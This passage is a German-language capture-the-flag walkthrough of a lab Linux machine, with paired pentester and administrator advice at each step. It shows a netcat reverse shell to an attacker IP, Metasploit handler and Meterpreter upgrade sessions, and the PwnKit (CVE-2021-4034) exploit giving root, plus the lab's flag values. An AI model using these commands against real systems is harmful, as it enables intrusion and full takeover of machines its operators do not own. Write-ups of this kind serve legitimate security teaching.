  1057557     36 -rwsr-xr-x   1 root     root        32944 Mar 29  2016 /usr/bin/newgidmap
  1048609     40 -rwsr-xr-x   1 root     root        40432 Mar 29  2016 /usr/bin/chsh
  1048670     76 -rwsr-xr-x   1 root     root        75304 Mar 29  2016 /usr/bin/gpasswd
  1057558     36 -rwsr-xr-x   1 root     root        32944 Mar 29  2016 /usr/bin/newuidmap
  1048734     40 -rwsr-xr-x   1 root     root        39904 Mar 29  2016 /usr/bin/newgrp
  1058032     52 -rwsr-sr-x   1 daemon   daemon      51464 Jan 14  2016 /usr/bin/at
  1048607     52 -rwsr-xr-x   1 root     root        49584 Mar 29  2016 /usr/bin/chfn
  1058246     24 -rwsr-xr-x   1 root     root        23288 Apr 29  2016 /usr/bin/ubuntu-core-launcher
  1048930     12 -rwsr-xr-x   1 root     root        10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
  1057498     40 -rwsr-xr-x   1 root     root        38984 Jun 30  2016 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
  1318420     16 -rwsr-xr-x   1 root     root        14864 Jan 17  2016 /usr/lib/policykit-1/polkit-agent-helper-1
  1066069    420 -rwsr-xr-x   1 root     root       428240 Aug 11  2016 /usr/lib/openssh/ssh-keysign
  1056767     44 -rwsr-xr--   1 root     messagebus    42992 Apr  1  2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1179709     40 -rwsr-xr-x   1 root     root          40152 May 26  2016 /bin/mount
  1179740     40 -rwsr-xr-x   1 root     root          40128 Mar 29  2016 /bin/su
  1179758     28 -rwsr-xr-x   1 root     root          27608 May 26  2016 /bin/umount
  1190647     32 -rwsr-xr-x   1 root     root          30800 Mar 11  2016 /bin/fusermount
  1179724     44 -rwsr-xr-x   1 root     root          44680 May  7  2014 /bin/ping6
  1179723     44 -rwsr-xr-x   1 root     root          44168 May  7  2014 /bin/ping
  1190681    140 -rwsr-xr-x   1 root     root         142032 Feb 17  2016 /bin/ntfs-3g
eric@BM:~$
]]>

Analyse: Wir wechseln in das Verzeichnis `/opt/coloradoftp-prime/home/anonymous`. Dies scheint das Home-Verzeichnis für anonyme FTP-Benutzer des installierten "ColoradoFTP"-Servers zu sein. Wir listen den Inhalt mit `ls -la` auf.

Bewertung: Wir finden eine Datei namens `Billys-12th-grade-final-project.doc`. Der Name ist verlockend, aber wir sollten misstrauisch sein. Wir lesen den Inhalt mit `cat`.

Empfehlung (Pentester): Den Inhalt der Datei lesen. Nicht zu viel Zeit auf scheinbare "Red Herrings" (falsche Fährten) verschwenden, wenn andere Wege vielversprechender sind.
Empfehlung (Admin): Überprüfen, welche Dateien im anonymen FTP-Verzeichnis liegen und ob diese notwendig sind. Unnötige oder irreführende Dateien entfernen.

Analyse: Die Datei `Billys-12th-grade-final-project.doc` enthält nur eine spöttische Nachricht. Es handelt sich um eine falsche Fährte.

Bewertung: Diese Datei liefert keine nützlichen Informationen für die Privilege Escalation.

Empfehlung (Pentester): Sich wieder auf vielversprechendere Ansätze konzentrieren, wie die Analyse der SUID/SGID-Datei `/usr/local/share/sgml/donpcgd` oder die Suche nach Kernel-Exploits oder anderen Schwachstellen.
Empfehlung (Admin): Irreführende Dateien entfernen.

Analyse: Der Pentester entscheidet sich hier offenbar, eine Reverse Shell von der `eric`-Shell auf dem Zielsystem zu seinem Angreifer-PC (192.168.2.137) auf Port 4444 aufzubauen. Dies geschieht mit einem klassischen Netcat-Befehl:

Auf dem Angreifer-PC muss gleichzeitig ein Netcat-Listener laufen (`nc -lvnp 4444`). Hier wird jedoch Metasploit `multi/handler` verwendet.

Bewertung: Dies ist eine Standardmethode, um eine einfache Reverse Shell zu erhalten. Sie bietet oft mehr Stabilität und Funktionalität als die direkte SSH-Shell, insbesondere wenn man plant, sie später zu einer Meterpreter-Sitzung aufzuwerten. Der Befehl wurde erfolgreich ausgeführt (keine Fehlermeldung außer dem erwarteten "cannot remove '/tmp/f': No such file or directory", wenn die Pipe noch nicht existierte).

Empfehlung (Pentester): Die Reverse Shell über den Metasploit Handler entgegennehmen und für die weitere Privilege Escalation nutzen. Optional direkt zu Meterpreter aufwerten.
Empfehlung (Admin): Netzwerk-Firewalls so konfigurieren, dass ausgehende Verbindungen auf ungewöhnliche Ports (wie 4444) blockiert oder überwacht werden. Host-basierte Firewalls und Intrusion Detection Systeme können solche Shell-Befehle erkennen. Sicherstellen, dass `/tmp` mit `noexec`-Option gemountet ist, um das Ausführen von Skripten aus `/tmp` zu erschweren (obwohl dieser spezielle Befehl davon nicht direkt betroffen ist).

&1|nc 192.168.2.137 4444 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory
]]>

Analyse: Auf dem Angreifer-PC starten wir Metasploit (`msfconsole`) und konfigurieren den `multi/handler`. Dieses Modul dient dazu, eingehende Verbindungen von Reverse Shells oder Meterpreter-Payloads entgegenzunehmen.

Bewertung: Der Handler wird korrekt konfiguriert und gestartet. Kurz darauf meldet er `Command shell session 1 opened`, was bestätigt, dass die Reverse Shell vom Zielsystem erfolgreich verbunden wurde. Wir haben nun eine Shell-Sitzung innerhalb von Metasploit.

Empfehlung (Pentester): Die erhaltene Shell-Sitzung nutzen. Der nächste logische Schritt ist oft, diese einfache Shell zu einer voll funktionsfähigen Meterpreter-Sitzung aufzuwerten, um mehr Möglichkeiten zur Interaktion mit dem Zielsystem zu haben.
Empfehlung (Admin): Siehe Empfehlungen beim vorherigen Schritt bezüglich Firewalling und Erkennung von Reverse Shells.

┌──(root㉿cyber)-[~] └─# msfconsole
 use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.137
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.137    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.137:4444
[*] Command shell session 1 opened (192.168.2.137:4444 -> 192.168.2.139:58180) at 2023-06-16 01:26:03 +0200

$ id
uid=1002(eric) gid=1002(eric) groups=1002(eric)
$ pwd
/opt/coloradoftp-prime/home/anonymous
$
]]>

Analyse: Wir verwenden das Metasploit Post-Exploitation-Modul `multi/manage/shell_to_meterpreter`, um unsere bestehende einfache Shell (Session 1) zu einer Meterpreter-Sitzung aufzuwerten. Meterpreter bietet eine erweiterte Funktionalität zur Interaktion mit dem Zielsystem (z.B. Dateisystem-Operationen, Prozessmanagement, Netzwerk-Sniffing, Ausführen weiterer Module).

Bewertung: Das Upgrade ist erfolgreich! Metasploit meldet `Meterpreter session 2 opened`. Wir haben nun eine voll funktionsfähige Meterpreter-Sitzung mit den Rechten des Benutzers `eric`.

Empfehlung (Pentester): Die Meterpreter-Sitzung (Session 2) verwenden, um die Privilege Escalation fortzusetzen. Tools wie den `local_exploit_suggester` oder manuelle Enumeration innerhalb von Meterpreter (`sysinfo`, `getuid`, `ps`, `ls`, `download`, `upload` etc.) nutzen.
Empfehlung (Admin): Host-basierte Erkennungssysteme (EDR, AV) können die Ausführung von Meterpreter-Payloads erkennen und blockieren. Sicherstellen, dass solche Systeme aktuell sind. Überwachung auf verdächtige Prozesse und Netzwerkverbindungen, die durch Meterpreter entstehen.

 sessions -l

Active sessions
===============

  Id  Name  Type         Information      Connection
  --  ----  ----         -----------      ----------
  1         shell linux  uid=1002, gid=1  192.168.2.137:4444 -> 192.168.2.139:58180 (192.168.2.139)

msf6 > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.2.137
LHOST => 192.168.2.137
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 4433
LPORT => 4433
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.137:4433
[*] Sending stage (1017704 bytes) to 192.168.2.139
[*] Meterpreter session 2 opened (192.168.2.137:4433 -> 192.168.2.139:60430) at 2023-06-16 01:27:13 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information                Connection
  --  ----  ----                   -----------                ----------
  1         shell linux            uid=1002, gid=1            192.168.2.137:4444 -> 192.168.2.139:58180 (192.168.2.139)
  2         meterpreter x86/linux  eric @ BM (uid=1002)       192.168.2.137:4433 -> 192.168.2.139:60430 (192.168.2.139)

]]>

Analyse: Wir verwenden das Metasploit Post-Exploitation-Modul `local_exploit_suggester`, um automatisch nach bekannten Kernel- oder Software-Schwachstellen auf dem Zielsystem zu suchen, die zur Rechteausweitung ausgenutzt werden könnten.

Bewertung: Der Suggester liefert eine Liste potenzieller Exploits. Besonders interessant sind:

Der PwnKit-Exploit (CVE-2021-4034) ist der vielversprechendste Kandidat.

Empfehlung (Pentester): Den PwnKit-Exploit (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`) ausprobieren. Dazu das Modul laden (`use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`), die Optionen setzen (`set session 2`, LHOST/LPORT für die neue Root-Shell) und ausführen (`run`).
Empfehlung (Admin): Das System dringend patchen! Insbesondere die `policykit-1`-Pakete aktualisieren, um die PwnKit-Schwachstelle (CVE-2021-4034) zu schließen. Generell alle Systempakete auf dem neuesten Stand halten, um bekannte Schwachstellen zu beheben.

 search suggester

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

msf6 post(multi/manage/shell_to_meterpreter) > use 0
msf6 post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.2.139 - Collecting local exploits for x64/linux...
[*] 192.168.2.139 - Valid modules for session 2:
 #   Module                                                             Potentially Vulnerable?  Check Result
 -   ------                                                             -----------------------  ------------
 1   exploit/linux/local/af_packet_chocobo_root_priv_esc                Yes                      The target appears to be vulnerable.
 2   exploit/linux/local/bpf_sign_extension_priv_esc                    Yes                      The target appears to be vulnerable.
 3   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable.
 4   exploit/linux/local/dirty_pipe_priv_esc                            No                       Kernel version 4.4.0-36-generic is not vulnerable
 5   exploit/linux/local/glibc_realpath_priv_esc                        Yes                      The target appears to be vulnerable.
 6   exploit/linux/local/netfilter_priv_esc_ipv4                        Yes                      The target appears to be vulnerable.
 7   exploit/linux/local/ntfs3g_priv_esc                                Yes                      The target appears to be vulnerable.
 8   exploit/linux/local/overlayfs_priv_esc                             No                       Kernel version 4.4.0-36-generic is not vulnerable
 9   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated.
 10  exploit/linux/local/sudo_baron_samedit                             No                       Sudo version 1.8.16 is not vulnerable
 11  exploit/linux/local/sudo_pwfeedback                                No                       Sudo version 1.8.16 is not vulnerable
 12  exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.
[*] Post module execution completed
]]>

Analyse: Wir laden und konfigurieren den PwnKit-Exploit (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`), wie vom Suggester empfohlen.

Bewertung: Grandios! Der Exploit funktioniert wie erwartet. Metasploit meldet:

Wir haben eine neue Meterpreter-Sitzung (Session 3) erhalten.

Empfehlung (Pentester): Sofort in die neue Sitzung (Session 3) wechseln (`sessions -i 3`) und die Rechte überprüfen (`getuid`). Die Root-Flag (`/root/root.txt`) und die User-Flag (`/home/veronica/user.txt` oder `/home/eric/user.txt`) suchen und auslesen. Das System nach weiteren interessanten Informationen durchsuchen.
Empfehlung (Admin): Unbedingt das System patchen, um CVE-2021-4034 (PwnKit) zu schließen! Dies ist eine kritische Schwachstelle.

 use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options

Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PKEXEC_PATH                    no        The path to pkexec binary
   SESSION                        yes       The session to run this module on
   WRITABLE_DIR  /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.137    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   x86_64



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set SESSION 2
SESSION => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST 192.168.2.137
LHOST => 192.168.2.137
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 4445
LPORT => 4445
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run

[*] Started reverse TCP handler on 192.168.2.137:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Writing '/tmp/.sefkyflbqiem/aijmjbgktufh/aijmjbgktufh.so' (548 bytes) ...
[*] Sending stage (3045348 bytes) to 192.168.2.139
[+] Deleted /tmp/.sefkyflbqiem/aijmjbgktufh/aijmjbgktufh.so
[+] Deleted /tmp/.sefkyflbqiem/.wmdfuawkzeyg
[+] Deleted /tmp/.sefkyflbqiem
[*] Meterpreter session 3 opened (192.168.2.137:4445 -> 192.168.2.139:58036) at 2023-06-16 01:30:40 +0200

meterpreter >
]]>

Analyse: Wir befinden uns nun in der neuen Meterpreter-Sitzung (Session 3). Wir überprüfen unsere Benutzeridentität mit `getuid`.

Bewertung: Perfekt! `getuid` gibt `Server username: root` zurück. Wir haben erfolgreich Root-Rechte auf dem Zielsystem erlangt. Das Hauptziel des Penetrationstests ist erreicht.

Empfehlung (Pentester): Die Root-Rechte nutzen, um die finalen Ziele (Flags) zu erreichen und persistente Zugänge einzurichten (falls im Scope). Das System gründlich auf weitere Schwachstellen oder interessante Daten untersuchen. Alle Spuren dokumentieren und ggf. beseitigen (je nach Scope).
Empfehlung (Admin): Das System sofort vom Netz nehmen oder isolieren und die Sicherheitslücken (insbesondere PwnKit) schließen. Forensische Analyse durchführen, um das Ausmaß des Angriffs zu verstehen und sicherzustellen, dass keine Backdoors oder Malware hinterlassen wurden. Das System neu installieren oder aus einem sauberen Backup wiederherstellen.

 getuid
Server username: root
]]>

Analyse: Mit Root-Rechten listen wir den Inhalt des `/root`-Verzeichnisses auf.

Bewertung: Wir sehen verschiedene Konfigurationsdateien (`.bashrc`, `.profile`) und Verzeichnisse (`.cache`, `.gnupg`, `.m2`, `.nano`), aber auch einige interessante Skripte (`cleanup.sh`, `ebd.sh`, `email.sh`, `ftp.sh`, `fwconfig.sh`, `ssh.sh`, `startup.sh`, `telnet.sh`, `wp.sh`) und die Datei `ebd.txt`. Dies bestätigt, dass die "Backdoor"-Mechanismen und andere Aktionen wahrscheinlich über Skripte im Root-Verzeichnis gesteuert wurden.

Empfehlung (Pentester): Die Root-Flag (`root.txt`) in diesem Verzeichnis suchen und auslesen. Optional die gefundenen Skripte analysieren, um die Funktionsweise der Maschine besser zu verstehen.
Empfehlung (Admin): Die Skripte im Root-Verzeichnis analysieren und entfernen, da sie Teil des unsicheren Setups waren. Sicherstellen, dass keine unnötigen oder unsicheren Skripte in privilegierten Verzeichnissen liegen.

 ls /root
Listing: /root
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  3106  fil   2015-10-22 19:15:21 +0200  .bashrc
040700/rwx------  4096  dir   2016-08-12 05:30:01 +0200  .cache
040700/rwx------  4096  dir   2016-08-21 22:58:28 +0200  .gnupg
040755/rwxr-xr-x  4096  dir   2016-08-13 05:53:34 +0200  .m2
040755/rwxr-xr-x  4096  dir   2016-08-12 05:17:07 +0200  .nano
100644/rw-r--r--  148   fil   2015-08-17 17:30:33 +0200  .profile
100644/rw-r--r--  66    fil   2016-08-15 17:16:30 +0200  .selected_editor
100644/rw-r--r--  222   fil   2016-08-21 04:58:22 +0200  .wget-hsts
040755/rwxr-xr-x  4096  dir   2016-08-23 04:24:55 +0200  checkban
100755/rwxr-xr-x  112   fil   2016-08-22 05:11:47 +0200  cleanup.sh
100755/rwxr-xr-x  59    fil   2016-08-22 05:12:21 +0200  ebd.sh
100644/rw-r--r--  35    fil   2016-08-21 23:51:46 +0200  ebd.txt
100755/rwxr-xr-x  102   fil   2016-08-20 19:45:44 +0200  email.sh
100755/rwxr-xr-x  63    fil   2016-08-20 00:26:18 +0200  ftp.sh
100755/rwxr-xr-x  1020  fil   2016-08-20 21:00:41 +0200  fwconfig.sh
040755/rwxr-xr-x  4096  dir   2016-08-23 04:19:12 +0200  ssh
100755/rwxr-xr-x  33    fil   2016-08-12 05:51:25 +0200  ssh.sh
100755/rwxr-xr-x  69    fil   2016-08-16 03:54:52 +0200  startup.sh
100755/rwxr-xr-x  122   fil   2016-08-18 05:55:05 +0200  telnet.sh
100755/rwxr-xr-x  230   fil   2016-08-17 00:08:36 +0200  wp.sh

]]>

Analyse: Wir wechseln von der Meterpreter-Shell zu einer Standard-System-Shell mit dem Befehl `shell`. Anschließend überprüfen wir unsere Identität erneut mit `id`.

Bewertung: Der Wechsel zur System-Shell funktioniert, und `id` bestätigt weiterhin `uid=0(root) gid=0(root)`. Die Privilege Escalation war erfolgreich und persistent für diese Sitzung.

Empfehlung (Pentester): Die System-Shell nutzen, um die Flags zu lesen und ggf. weitere Befehle auszuführen, die in Meterpreter nicht direkt verfügbar sind.
Empfehlung (Admin): Siehe vorherige Empfehlungen bezüglich Patching und Bereinigung.

 shell
Process 5952 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)
]]>

Analyse: Wir bestätigen verbal den Erfolg der Privilege Escalation.

Bewertung: Das Ziel, Root-Rechte zu erlangen, wurde erreicht.

Empfehlung (Pentester): Nun die Flags auslesen.
Empfehlung (Admin): System bereinigen und absichern.

Flags

cat /home/veronica/user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A

Analyse: Mit Root-Rechten lesen wir die User-Flag aus (wahrscheinlich aus `/home/veronica/user.txt` oder `/home/eric/user.txt`) und die Root-Flag aus `/root/root.txt`.

Bewertung: Beide Flags wurden erfolgreich extrahiert. Damit ist der Penetrationstest dieser Maschine abgeschlossen.

Empfehlung (Pentester): Die Flags im Bericht dokumentieren. Den erfolgreichen Abschluss des Tests vermerken.
Empfehlung (Admin): Die Ursachen (Schwachstellen), die zum Erlangen der Flags geführt haben, beheben. Die Flag-Dateien selbst sind nur ein Symbol für den erreichten Zugriff.